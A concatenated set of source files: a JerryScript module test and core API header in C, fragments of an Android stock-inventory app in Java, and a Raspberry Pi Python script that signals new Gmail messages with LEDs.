TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_UNLINKED); result = jerry_module_link (module, resolve_callback3, NULL); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_LINKED); result = jerry_module_evaluate (module); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_EVALUATED); result = jerry_module_get_namespace (module); TEST_ASSERT (jerry_value_is_object (result)); compare_property (result, "a", 6); compare_property (result, "b", 8.5); jerry_release_value (result); jerry_release_value (module); module = jerry_native_module_create (NULL, &object, 1); TEST_ASSERT (jerry_value_is_error (module)); jerry_release_value (module); module = jerry_native_module_create (NULL, NULL, 0); TEST_ASSERT (!jerry_value_is_error (module)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_UNLINKED); result = jerry_native_module_get_export (object, number); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); result = jerry_native_module_set_export (module, number, number); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (module); /* Valid identifier. */ jerry_value_t export = jerry_create_string ((const jerry_char_t *) "\xed\xa0\x83\xed\xb2\x80"); module = jerry_native_module_create (NULL, &export, 1); TEST_ASSERT (!jerry_value_is_error (module)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_UNLINKED); result = jerry_module_link (module, NULL, NULL); TEST_ASSERT (jerry_value_is_boolean (result) && jerry_value_is_true (result)); jerry_release_value (result); result = jerry_module_evaluate (module); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); jerry_release_value (module); jerry_release_value (export); /* Invalid identifiers. */ export = jerry_create_string ((const jerry_char_t *) "a+"); module = jerry_native_module_create (NULL, &export, 1); TEST_ASSERT (jerry_value_is_error (module)); jerry_release_value (module); jerry_release_value (export); export = jerry_create_string ((const jerry_char_t *) "\xed\xa0\x80"); module = jerry_native_module_create (NULL, &export, 1); TEST_ASSERT (jerry_value_is_error (module)); jerry_release_value (module); jerry_release_value (export); counter = 0; for (int i = 0; i < 2; i++) { jerry_char_t source3[] = TEST_STRING_LITERAL ( "import {exp, other_exp as other} from 'native.js'\n" "import * as namespace from 'native.js'\n" "if (exp !== 3.5 || other !== 'str') { throw 'Assertion failed!' }\n" "if (namespace.exp !== 3.5 || namespace.other_exp !== 'str') { throw 'Assertion failed!' }\n" ); module = jerry_parse (source3, sizeof (source3) - 1, &module_parse_options); TEST_ASSERT (!jerry_value_is_error (module)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_UNLINKED); jerry_value_t native_module; result = jerry_module_link (module, resolve_callback4, (void *) &native_module); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); TEST_ASSERT (counter == i * 2 + 1); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_LINKED); TEST_ASSERT (jerry_module_get_state (native_module) == JERRY_MODULE_STATE_LINKED); result = jerry_module_evaluate (module); if (i == 0) { TEST_ASSERT (!jerry_value_is_error (result)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_EVALUATED); TEST_ASSERT (jerry_module_get_state (native_module) == JERRY_MODULE_STATE_EVALUATED); TEST_ASSERT (counter == 2); } else { TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_ERROR); TEST_ASSERT (jerry_module_get_state (native_module) == JERRY_MODULE_STATE_ERROR); TEST_ASSERT (counter == 5); } jerry_release_value (result); jerry_release_value (module); jerry_release_value (native_module); } jerry_release_value (object); jerry_release_value (number); counter = 0; jerry_module_set_state_changed_callback (module_state_changed, (void *) &counter); jerry_char_t source4[] = TEST_STRING_LITERAL ( "33.5\n" ); module = jerry_parse (source4, sizeof (source4) - 1, &module_parse_options); result = jerry_module_link (module, NULL, NULL); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); result = jerry_module_evaluate (module); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (module); jerry_char_t source5[] = TEST_STRING_LITERAL ( "throw -5.5\n" ); module = jerry_parse (source5, sizeof (source5) - 1, &module_parse_options); result = jerry_module_link (module, NULL, NULL); TEST_ASSERT (!jerry_value_is_error (result)); jerry_release_value (result); result = jerry_module_evaluate (module); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (module); jerry_module_set_state_changed_callback (NULL, NULL); TEST_ASSERT (counter == 4); jerry_char_t source6[] = TEST_STRING_LITERAL ( "import a from 'self'\n" ); module = jerry_parse (source6, sizeof (source6) - 1, &module_parse_options); result = jerry_module_link (module, resolve_callback5, NULL); TEST_ASSERT (jerry_value_is_error (result) && jerry_get_error_type (result) == JERRY_ERROR_SYNTAX); jerry_release_value (result); jerry_cleanup (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef JERRYSCRIPT_CORE_H #define JERRYSCRIPT_CORE_H #include "jerryscript-types.h" #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ /** \addtogroup jerry Jerry engine interface * @{ */ /** * General engine functions. */ void jerry_init (jerry_init_flag_t flags); void jerry_cleanup (void); void jerry_register_magic_strings (const jerry_char_t * const *ex_str_items_p, uint32_t count, const jerry_length_t *str_lengths_p); void jerry_gc (jerry_gc_mode_t mode); void *jerry_get_context_data (const jerry_context_data_manager_t *manager_p); bool jerry_get_memory_stats (jerry_heap_stats_t *out_stats_p); /** * Parser and executor functions. */ bool jerry_run_simple (const jerry_char_t *script_source_p, size_t script_source_size, jerry_init_flag_t flags); jerry_value_t jerry_parse (const jerry_char_t *source_p, size_t source_size, const jerry_parse_options_t *options_p); jerry_value_t jerry_parse_value (const jerry_value_t source_value, const jerry_parse_options_t *options_p); jerry_value_t jerry_run (const jerry_value_t func_val); jerry_value_t jerry_eval (const jerry_char_t *source_p, size_t source_size, uint32_t parse_opts); jerry_value_t jerry_run_all_enqueued_jobs (void); /** * Get the global context. */ jerry_value_t jerry_get_global_object (void); /** * Checker functions of 'jerry_value_t'. */ bool jerry_value_is_abort (const jerry_value_t value); bool jerry_value_is_array (const jerry_value_t value); bool jerry_value_is_boolean (const jerry_value_t value); bool jerry_value_is_constructor (const jerry_value_t value); bool jerry_value_is_error (const jerry_value_t value); bool jerry_value_is_function (const jerry_value_t value); bool jerry_value_is_async_function (const jerry_value_t value); bool jerry_value_is_number (const jerry_value_t value); bool jerry_value_is_null (const jerry_value_t value); bool jerry_value_is_object (const jerry_value_t value); bool jerry_value_is_promise (const jerry_value_t value); bool jerry_value_is_proxy (const jerry_value_t value); bool jerry_value_is_string (const jerry_value_t value); bool jerry_value_is_symbol (const jerry_value_t value); bool jerry_value_is_bigint (const jerry_value_t value); bool jerry_value_is_undefined (const jerry_value_t value); bool jerry_value_is_true (const jerry_value_t value); bool jerry_value_is_false (const jerry_value_t value); jerry_type_t jerry_value_get_type (const jerry_value_t value); jerry_object_type_t jerry_object_get_type (const jerry_value_t value); jerry_function_type_t jerry_function_get_type (const jerry_value_t value); jerry_iterator_type_t jerry_iterator_get_type (const jerry_value_t value); /** * Checker function of whether the specified compile feature is enabled. */ bool jerry_is_feature_enabled (const jerry_feature_t feature); /** * Binary operations */ jerry_value_t jerry_binary_operation (jerry_binary_operation_t op, const jerry_value_t lhs, const jerry_value_t rhs); /** * Error manipulation functions. */ jerry_value_t jerry_create_abort_from_value (jerry_value_t value, bool release); jerry_value_t jerry_create_error_from_value (jerry_value_t value, bool release); jerry_value_t jerry_get_value_from_error (jerry_value_t value, bool release); void jerry_set_error_object_created_callback (jerry_error_object_created_callback_t callback, void *user_p); void jerry_set_vm_throw_callback (jerry_vm_throw_callback_t throw_cb, void *user_p); bool jerry_error_is_throw_captured (jerry_value_t value); void jerry_error_set_throw_capture (jerry_value_t value, bool should_capture); /** * Error object function(s). */ jerry_error_t jerry_get_error_type (jerry_value_t value); /** * Getter functions of 'jerry_value_t'. */ double jerry_get_number_value (const jerry_value_t value); /** * Functions for string values. */ jerry_size_t jerry_get_string_size (const jerry_value_t value); jerry_size_t jerry_get_utf8_string_size (const jerry_value_t value); jerry_length_t jerry_get_string_length (const jerry_value_t value); jerry_length_t jerry_get_utf8_string_length (const jerry_value_t value); jerry_size_t jerry_string_to_char_buffer (const jerry_value_t value, jerry_char_t *buffer_p, jerry_size_t buffer_size); jerry_size_t jerry_string_to_utf8_char_buffer (const jerry_value_t value, jerry_char_t *buffer_p, jerry_size_t buffer_size); jerry_size_t jerry_substring_to_char_buffer (const jerry_value_t value, jerry_length_t start_pos, jerry_length_t end_pos, jerry_char_t *buffer_p, jerry_size_t buffer_size); jerry_size_t jerry_substring_to_utf8_char_buffer (const jerry_value_t value, jerry_length_t start_pos, jerry_length_t end_pos, jerry_char_t *buffer_p, jerry_size_t buffer_size); void jerry_string_set_external_free_callback (jerry_external_string_free_callback_t callback_p); void *jerry_string_get_external_user_pointer (const jerry_value_t value, bool *is_external); /** * Functions for array object values. */ uint32_t jerry_get_array_length (const jerry_value_t value); /** * Converters of 'jerry_value_t'. */ bool jerry_value_to_boolean (const jerry_value_t value); jerry_value_t jerry_value_to_number (const jerry_value_t value); jerry_value_t jerry_value_to_object (const jerry_value_t value); jerry_value_t jerry_value_to_primitive (const jerry_value_t value); jerry_value_t jerry_value_to_string (const jerry_value_t value); jerry_value_t jerry_value_to_bigint (const jerry_value_t value); double jerry_value_as_integer (const jerry_value_t value); int32_t jerry_value_as_int32 (const jerry_value_t value); uint32_t jerry_value_as_uint32 (const jerry_value_t value); /** * Acquire types with reference counter (increase the references). */ jerry_value_t jerry_acquire_value (jerry_value_t value); /** * Release the referenced values. */ void jerry_release_value (jerry_value_t value); /** * Create functions of API values. */ jerry_value_t jerry_create_array (uint32_t size); jerry_value_t jerry_create_boolean (bool value); jerry_value_t jerry_create_error (jerry_error_t error_type, const jerry_char_t *message_p); jerry_value_t jerry_create_error_sz (jerry_error_t error_type, const jerry_char_t *message_p, jerry_size_t message_size); jerry_value_t jerry_create_external_function (jerry_external_handler_t handler_p); jerry_value_t jerry_create_number (double value); jerry_value_t jerry_create_number_infinity (bool sign); jerry_value_t jerry_create_number_nan (void); jerry_value_t jerry_create_null (void); jerry_value_t jerry_create_object (void); jerry_value_t jerry_create_promise (void); jerry_value_t jerry_create_proxy (const jerry_value_t target, const jerry_value_t handler); jerry_value_t jerry_create_special_proxy (const jerry_value_t target, const jerry_value_t handler, uint32_t options); jerry_value_t jerry_create_regexp (const jerry_char_t *pattern, uint16_t flags); jerry_value_t jerry_create_regexp_sz (const jerry_char_t *pattern, jerry_size_t pattern_size, uint16_t flags); jerry_value_t jerry_create_string_from_utf8 (const jerry_char_t *str_p); jerry_value_t jerry_create_string_sz_from_utf8 (const jerry_char_t *str_p, jerry_size_t str_size); jerry_value_t jerry_create_string (const jerry_char_t *str_p); jerry_value_t jerry_create_string_sz (const jerry_char_t *str_p, jerry_size_t str_size); jerry_value_t jerry_create_external_string (const jerry_char_t *str_p, void *user_p); jerry_value_t jerry_create_external_string_sz (const jerry_char_t *str_p, jerry_size_t str_size, void *user_p); jerry_value_t jerry_create_symbol (const jerry_value_t value); jerry_value_t jerry_create_bigint (const uint64_t *digits_p, uint32_t size, bool sign); jerry_value_t jerry_create_undefined (void); jerry_value_t jerry_create_realm (void); /** * General API functions of JS objects. */ jerry_value_t jerry_has_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); jerry_value_t jerry_has_own_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); bool jerry_has_internal_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); bool jerry_delete_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); bool jerry_delete_property_by_index (const jerry_value_t obj_val, uint32_t index); bool jerry_delete_internal_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); jerry_value_t jerry_get_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); jerry_value_t jerry_get_property_by_index (const jerry_value_t obj_val, uint32_t index); jerry_value_t jerry_get_own_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val, const jerry_value_t receiver_val, bool *found_p); jerry_value_t jerry_get_internal_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val); jerry_value_t jerry_set_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val, const jerry_value_t value_to_set); jerry_value_t jerry_set_property_by_index (const jerry_value_t obj_val, uint32_t index, const jerry_value_t value_to_set); bool jerry_set_internal_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val, const jerry_value_t value_to_set); jerry_property_descriptor_t jerry_property_descriptor_create (void); jerry_value_t jerry_define_own_property (const jerry_value_t obj_val, const jerry_value_t prop_name_val, const jerry_property_descriptor_t *prop_desc_p); jerry_value_t jerry_get_own_property_descriptor (const jerry_value_t obj_val, const jerry_value_t prop_name_val, jerry_property_descriptor_t *prop_desc_p); void jerry_property_descriptor_free (const jerry_property_descriptor_t *prop_desc_p); jerry_value_t jerry_call_function (const jerry_value_t func_obj_val, const jerry_value_t this_val, const jerry_value_t args_p[], jerry_size_t args_count); jerry_value_t jerry_construct_object (const jerry_value_t func_obj_val, const jerry_value_t args_p[], jerry_size_t args_count); jerry_value_t jerry_get_object_keys (const jerry_value_t obj_val); jerry_value_t jerry_get_prototype (const jerry_value_t obj_val); jerry_value_t jerry_set_prototype (const jerry_value_t obj_val, const jerry_value_t proto_obj_val); bool jerry_get_object_native_pointer (const jerry_value_t obj_val, void **out_native_pointer_p, const jerry_object_native_info_t *native_pointer_info_p); void jerry_set_object_native_pointer (const jerry_value_t obj_val, void *native_pointer_p, const jerry_object_native_info_t *native_info_p); bool jerry_delete_object_native_pointer (const jerry_value_t obj_val, const jerry_object_native_info_t *native_info_p); void jerry_native_pointer_init_references (void *native_pointer_p, const jerry_object_native_info_t *native_info_p); void jerry_native_pointer_release_references (void *native_pointer_p, const jerry_object_native_info_t *native_info_p); void jerry_native_pointer_set_reference (jerry_value_t *reference_p, jerry_value_t value); bool jerry_objects_foreach (jerry_objects_foreach_t foreach_p, void *user_data); bool jerry_objects_foreach_by_native_info (const jerry_object_native_info_t *native_info_p, jerry_objects_foreach_by_native_info_t foreach_p, void *user_data_p); bool jerry_foreach_object_property (const jerry_value_t obj_val, jerry_object_property_foreach_t foreach_p, void *user_data_p); jerry_value_t jerry_object_get_property_names (const jerry_value_t obj_val, jerry_property_filter_t filter); jerry_value_t jerry_from_property_descriptor (const jerry_property_descriptor_t *src_prop_desc_p); jerry_value_t jerry_to_property_descriptor (jerry_value_t obj_value, jerry_property_descriptor_t *out_prop_desc_p); /** * Module functions. */ jerry_value_t jerry_module_link (const jerry_value_t module_val, jerry_module_resolve_callback_t callback_p, void *user_p); jerry_value_t jerry_module_evaluate (const jerry_value_t module_val); jerry_module_state_t jerry_module_get_state (const jerry_value_t module_val); void jerry_module_set_state_changed_callback (jerry_module_state_changed_callback_t callback, void *user_p); void jerry_module_set_import_meta_callback (jerry_module_import_meta_callback_t callback, void *user_p); size_t jerry_module_get_number_of_requests (const jerry_value_t module_val); jerry_value_t jerry_module_get_request (const jerry_value_t module_val, size_t request_index); jerry_value_t jerry_module_get_namespace (const jerry_value_t module_val); void jerry_module_set_import_callback (jerry_module_import_callback_t callback_p, void *user_p); jerry_value_t jerry_native_module_create (jerry_native_module_evaluate_callback_t callback, const jerry_value_t * const exports_p, size_t number_of_exports); jerry_value_t jerry_native_module_get_export (const jerry_value_t native_module_val, const jerry_value_t export_name_val); jerry_value_t jerry_native_module_set_export (const jerry_value_t native_module_val, const jerry_value_t export_name_val, const jerry_value_t value_to_set); /** * Promise functions. */ jerry_value_t jerry_resolve_or_reject_promise (jerry_value_t promise, jerry_value_t argument, bool is_resolve); jerry_value_t jerry_get_promise_result (const jerry_value_t promise); jerry_promise_state_t jerry_get_promise_state (const jerry_value_t promise); void jerry_promise_set_callback (jerry_promise_event_filter_t filters, jerry_promise_callback_t callback, void *user_p); /** * Symbol functions. */ jerry_value_t jerry_get_well_known_symbol (jerry_well_known_symbol_t symbol); jerry_value_t jerry_get_symbol_description (const jerry_value_t symbol); jerry_value_t jerry_get_symbol_descriptive_string (const jerry_value_t symbol); /** * Realm functions. */ jerry_value_t jerry_set_realm (jerry_value_t realm_value); jerry_value_t jerry_realm_get_this (jerry_value_t realm_value); jerry_value_t jerry_realm_set_this (jerry_value_t realm_value, jerry_value_t this_value); /** * BigInt functions. */ uint32_t jerry_get_bigint_size_in_digits (jerry_value_t value); void jerry_get_bigint_digits (jerry_value_t value, uint64_t *digits_p, uint32_t size, bool *sign_p); /** * Proxy functions. */ jerry_value_t jerry_get_proxy_target (jerry_value_t proxy_value); jerry_value_t jerry_get_proxy_handler (jerry_value_t proxy_value); /** * Input validator functions. */ bool jerry_is_valid_utf8_string (const jerry_char_t *utf8_buf_p, jerry_size_t buf_size); bool jerry_is_valid_cesu8_string (const jerry_char_t *cesu8_buf_p, jerry_size_t buf_size); /* * Dynamic memory management functions. */ void *jerry_heap_alloc (size_t size); void jerry_heap_free (void *mem_p, size_t size); /* * External context functions. */ jerry_context_t *jerry_create_context (uint32_t heap_size, jerry_context_alloc_t alloc, void *cb_data_p); /** * Backtrace functions. */ jerry_value_t jerry_get_backtrace (uint32_t max_depth); void jerry_backtrace_capture (jerry_backtrace_callback_t callback, void *user_p); jerry_backtrace_frame_types_t jerry_backtrace_get_frame_type (jerry_backtrace_frame_t *frame_p); const jerry_backtrace_location_t *jerry_backtrace_get_location (jerry_backtrace_frame_t *frame_p); const jerry_value_t *jerry_backtrace_get_function (jerry_backtrace_frame_t *frame_p); const jerry_value_t *jerry_backtrace_get_this (jerry_backtrace_frame_t *frame_p); bool jerry_backtrace_is_strict (jerry_backtrace_frame_t *frame_p); /** * Miscellaneous functions. */ void jerry_set_vm_exec_stop_callback (jerry_vm_exec_stop_callback_t stop_cb, void *user_p, uint32_t frequency); jerry_value_t jerry_get_resource_name (const jerry_value_t value); jerry_value_t jerry_get_user_value (const jerry_value_t value); bool jerry_is_eval_code (const jerry_value_t value); jerry_source_info_t *jerry_get_source_info (const jerry_value_t value); void jerry_free_source_info (jerry_source_info_t *source_info_p); /** * Array buffer components. */ bool jerry_value_is_arraybuffer (const jerry_value_t value); jerry_value_t jerry_create_arraybuffer (const jerry_length_t size); jerry_value_t jerry_create_arraybuffer_external (const jerry_length_t size, uint8_t *buffer_p, void *buffer_user_p); jerry_length_t jerry_arraybuffer_write (const jerry_value_t value, jerry_length_t offset, const uint8_t *buf_p, jerry_length_t buf_size); jerry_length_t jerry_arraybuffer_read (const jerry_value_t value, jerry_length_t offset, uint8_t *buf_p, jerry_length_t buf_size); jerry_length_t jerry_get_arraybuffer_byte_length (const jerry_value_t value); uint8_t *jerry_get_arraybuffer_pointer (const jerry_value_t value); jerry_value_t jerry_is_arraybuffer_detachable (const jerry_value_t value); jerry_value_t jerry_detach_arraybuffer (const jerry_value_t value); bool jerry_arraybuffer_has_buffer (const jerry_value_t value); void jerry_arraybuffer_set_compact_allocation_limit (const jerry_length_t allocation_limit); void jerry_arraybuffer_set_allocator_callbacks (jerry_arraybuffer_allocate_t allocate_callback, jerry_arraybuffer_free_t free_callback, void *user_p); /** * SharedArrayBuffer components. */ bool jerry_value_is_shared_arraybuffer (const jerry_value_t value); jerry_value_t jerry_create_shared_arraybuffer (const jerry_length_t size); jerry_value_t jerry_create_shared_arraybuffer_external (const jerry_length_t size, uint8_t *buffer_p, void *buffer_user_p); /** * DataView functions. */ jerry_value_t jerry_create_dataview (const jerry_value_t value, const jerry_length_t byte_offset, const jerry_length_t byte_length); bool jerry_value_is_dataview (const jerry_value_t value); jerry_value_t jerry_get_dataview_buffer (const jerry_value_t dataview, jerry_length_t *byte_offset, jerry_length_t *byte_length); /** * TypedArray functions. */ bool jerry_value_is_typedarray (jerry_value_t value); jerry_value_t jerry_create_typedarray (jerry_typedarray_type_t type_name, jerry_length_t length); jerry_value_t jerry_create_typedarray_for_arraybuffer_sz (jerry_typedarray_type_t type_name, const jerry_value_t arraybuffer, jerry_length_t byte_offset, jerry_length_t length); jerry_value_t jerry_create_typedarray_for_arraybuffer (jerry_typedarray_type_t type_name, const jerry_value_t arraybuffer); jerry_typedarray_type_t jerry_get_typedarray_type (jerry_value_t value); jerry_length_t jerry_get_typedarray_length (jerry_value_t value); jerry_value_t jerry_get_typedarray_buffer (jerry_value_t value, jerry_length_t *byte_offset, jerry_length_t *byte_length); jerry_value_t jerry_json_parse (const jerry_char_t *string_p, jerry_size_t string_size); jerry_value_t jerry_json_stringify (const jerry_value_t object_to_stringify); jerry_value_t jerry_create_container (jerry_container_type_t container_type, const jerry_value_t *arguments_list_p, jerry_length_t arguments_list_len); jerry_container_type_t jerry_get_container_type (const jerry_value_t value); jerry_value_t jerry_get_array_from_container (jerry_value_t value, bool *is_key_value_p); jerry_value_t jerry_container_operation (jerry_container_operation_t operation, jerry_value_t container, jerry_value_t *arguments, uint32_t arguments_number); /** * @} */ #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* !JERRYSCRIPT_CORE_H */
dc5601e49b5bd4fdb6aee85ac8bc5771a0833c4f
[ "Markdown", "C" ]
12
C
rerobika/jerryscript
bc091e174206b26e3ff71a9833e37527579b035f
7e889a5dd84d965e6027552aa1c50fd46ede019c
refs/heads/master
<repo_name>devprashant/Stock<file_sep>/app/src/main/java/com/example/probook/stock/model/Stock.java package com.example.probook.stock.model; /** * Created by probook on 1/9/2016. */ public class Stock { private long id; private String item_name; private String item_quantity; private String item_price; private String modified_on; public long getId() { return id; } public void setId(long id) { this.id = id; } public String getItem_name() { return item_name; } public void setItem_name(String item_name) { this.item_name = item_name; } public String getItem_quantity() { return item_quantity; } public void setItem_quantity(String item_quantity) { this.item_quantity = item_quantity; } public String getItem_price() { return item_price; } public void setItem_price(String item_price) { this.item_price = item_price; } public String getModified_on() { return modified_on; } public void setModified_on(String modified_on) { this.modified_on = modified_on; } }<file_sep>/app/src/main/java/com/example/probook/stock/view/ObjectListFragment.java package com.example.probook.stock.view; import android.app.Activity; import android.os.Bundle; import android.support.v4.app.Fragment; import android.text.Editable; import android.text.TextWatcher; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.EditText; import android.widget.ListView; import com.example.probook.stock.R; import com.example.probook.stock.handler.customAdapter.customListObjectAdapter; import com.example.probook.stock.handler.dataSource.DataSource; import com.example.probook.stock.helper.database.MySqliteHelper; import com.example.probook.stock.model.Stock; import java.sql.SQLException; import java.util.List; /** * Created by probook on 1/13/2016. */ public class ObjectListFragment extends Fragment { public customListObjectAdapter adapter; private DataSource dataSource; @Override public void onAttach(Activity activity) { super.onAttach(activity); dataSource = new DataSource(getActivity()); try { dataSource.open(); } catch (SQLException e) { e.printStackTrace(); } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_list_object, container,false); return rootView; } /** * Operations: * 1. Fetch data and put inside ListView. * 2. Get EditText data and use it to list items inside ListVIew. * @param savedInstanceState */ @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); /** * 1. Fetch data and put inside ListView. */ // Fetch data final List<Stock> values = dataSource.getAllStocks(); // Set ListView // List data ListView lv = (ListView) getView().findViewById(R.id.list); adapter = new customListObjectAdapter(getActivity(), values); lv.setAdapter(adapter); // Open dialog fragment for edit and delete lv.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() { @Override public boolean onItemLongClick(AdapterView<?> parent, View view, int position, long id) { Stock stock = (Stock) adapter.getItem(position); //Toast.makeText(getActivity(), stock.getItem_name(), Toast.LENGTH_SHORT).show(); ObjectEditDialogFragment editDialogFragment = new ObjectEditDialogFragment(); Bundle args = new Bundle(); args.putString(MySqliteHelper.COL_ITEM_NAME, stock.getItem_name()); args.putString(MySqliteHelper.COL_ITEM_QUANTITY, stock.getItem_quantity()); args.putString(MySqliteHelper.COL_PRICE, stock.getItem_price()); args.putLong(MySqliteHelper.COL_ID, stock.getId()); editDialogFragment.setArguments(args); editDialogFragment.show(getFragmentManager(), "dialog"); return true; } }); /** * 2. Get EditText data and use it to list items inside ListVIew. */ EditText etSearch = (EditText) getView().findViewById(R.id.et_search); etSearch.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { //System.out.println("Text ["+s+"]"); adapter.getFilter().filter(s.toString()); } @Override public void afterTextChanged(Editable s) { } }); } } <file_sep>/app/src/main/java/com/example/probook/stock/view/CollectionPagerAdapter.java package com.example.probook.stock.view; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentStatePagerAdapter; /** * Created by probook on 1/12/2016. */ public class CollectionPagerAdapter extends FragmentStatePagerAdapter{ public CollectionPagerAdapter(FragmentManager fm) { super(fm); } @Override public Fragment getItem(int position) { Fragment fragment = new Fragment(); Bundle args = new Bundle(); switch (position){ case 0: fragment = new ObjectListFragment(); args.putString(ObjectFragment.ARG_OBJECT, "List Fragment"); fragment.setArguments(args); break; case 1: fragment = new ObjectFragment(); args.putString(ObjectFragment.ARG_OBJECT, "Add Fragment"); fragment.setArguments(args); break; case 2: fragment = new ObjectAddFragment(); args.putString(ObjectFragment.ARG_OBJECT, "Just Fragment"); fragment.setArguments(args); break; } return fragment; } @Override public int getCount() { return 3; } @Override public CharSequence getPageTitle(int position) { return MainActivity.tabsActionBar[position]; } } <file_sep>/app/src/main/java/com/example/probook/stock/view/ObjectAddFragment.java package com.example.probook.stock.view; import android.os.Bundle; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import com.example.probook.stock.R; import com.example.probook.stock.handler.dataSource.DataSource; import com.example.probook.stock.model.Stock; import java.sql.SQLException; /** * Created by probook on 1/13/2016. */ public class ObjectAddFragment extends Fragment implements View.OnClickListener { private DataSource dataSource; private EditText etItemName; private EditText etItemQuantity; private EditText etItemPrice; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_add_object, container, false); return rootView; } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); // get data from edit text // save data on btn click Button btnSave = (Button) getActivity().findViewById(R.id.btn_save); btnSave.setOnClickListener(this); } @Override public void onClick(View v) { // Find edittext etItemName = (EditText) getView().findViewById(R.id.et_item_name); etItemQuantity = (EditText) getView().findViewById(R.id.et_item_quantity); etItemPrice = (EditText) getView().findViewById(R.id.et_item_price); // Fetch data from edittext String itemName = etItemName.getText().toString(); String itemQuantity = etItemQuantity.getText().toString(); String itemPrice = etItemPrice.getText().toString(); // Save data Stock stock = new Stock(); stock.setItem_name(itemName); stock.setItem_quantity(itemQuantity); stock.setItem_price(itemPrice); saveData(stock); } private void saveData(Stock stock) { dataSource = new DataSource(getActivity()); try { dataSource.open(); } catch (SQLException e) { e.printStackTrace(); } dataSource.addStock(stock); // Show saved message Toast.makeText(getActivity(),"Saved",Toast.LENGTH_SHORT).show(); // Clear edittext etItemName.setText(""); etItemQuantity.setText(""); etItemPrice.setText(""); } }
ed978d13a4cdd19a8f71cbeda7c37bdb5971f441
[ "Java" ]
4
Java
devprashant/Stock
60d84996c0fdd9d7bb0df88f0175e8068ec7d112
bafa71876310d7fff37fc844314112738db84488
refs/heads/master
<file_sep>#!/usr/bin/env python import RPi.GPIO as GPIO, feedparser, time import getpass DEBUG = 1 #USERNAME = "maskoken" USERNAME = raw_input("Username (ex. <EMAIL>): ") PASSWORD = getpass.getpass(prompt="Password: ") NEWMAIL_OFFSET = 0 # Set your own zero MAIL_CHECK_FREQ = 30 # check mail every 30 seconds GPIO.setmode(GPIO.BCM) GREEN_LED = 23 RED_LED = 18 GPIO.setup(GREEN_LED, GPIO.OUT) GPIO.setup(RED_LED, GPIO.OUT) last = -1 while True: newmails = int(feedparser.parse("https://" + USERNAME + ":" + PASSWORD +"@mail.google.com/gmail/feed/atom")["feed"]["fullcount"]) if DEBUG: if (last!=newmails): print "You have", newmails, "new emails!" if newmails > NEWMAIL_OFFSET: GPIO.output(GREEN_LED, True) GPIO.output(RED_LED, False) else: GPIO.output(GREEN_LED, False) GPIO.output(RED_LED, True) last = newmails time.sleep(MAIL_CHECK_FREQ)
652c2b59f62691bdbf3942d2ae75bb999ce5d0ab
[ "Python" ]
1
Python
patback66/Python-Projects
f593f2f63f3690439dd8193ba144730ab506ec16
86cda833a33da13df5abec47c34fb3b30593cdcd
refs/heads/master
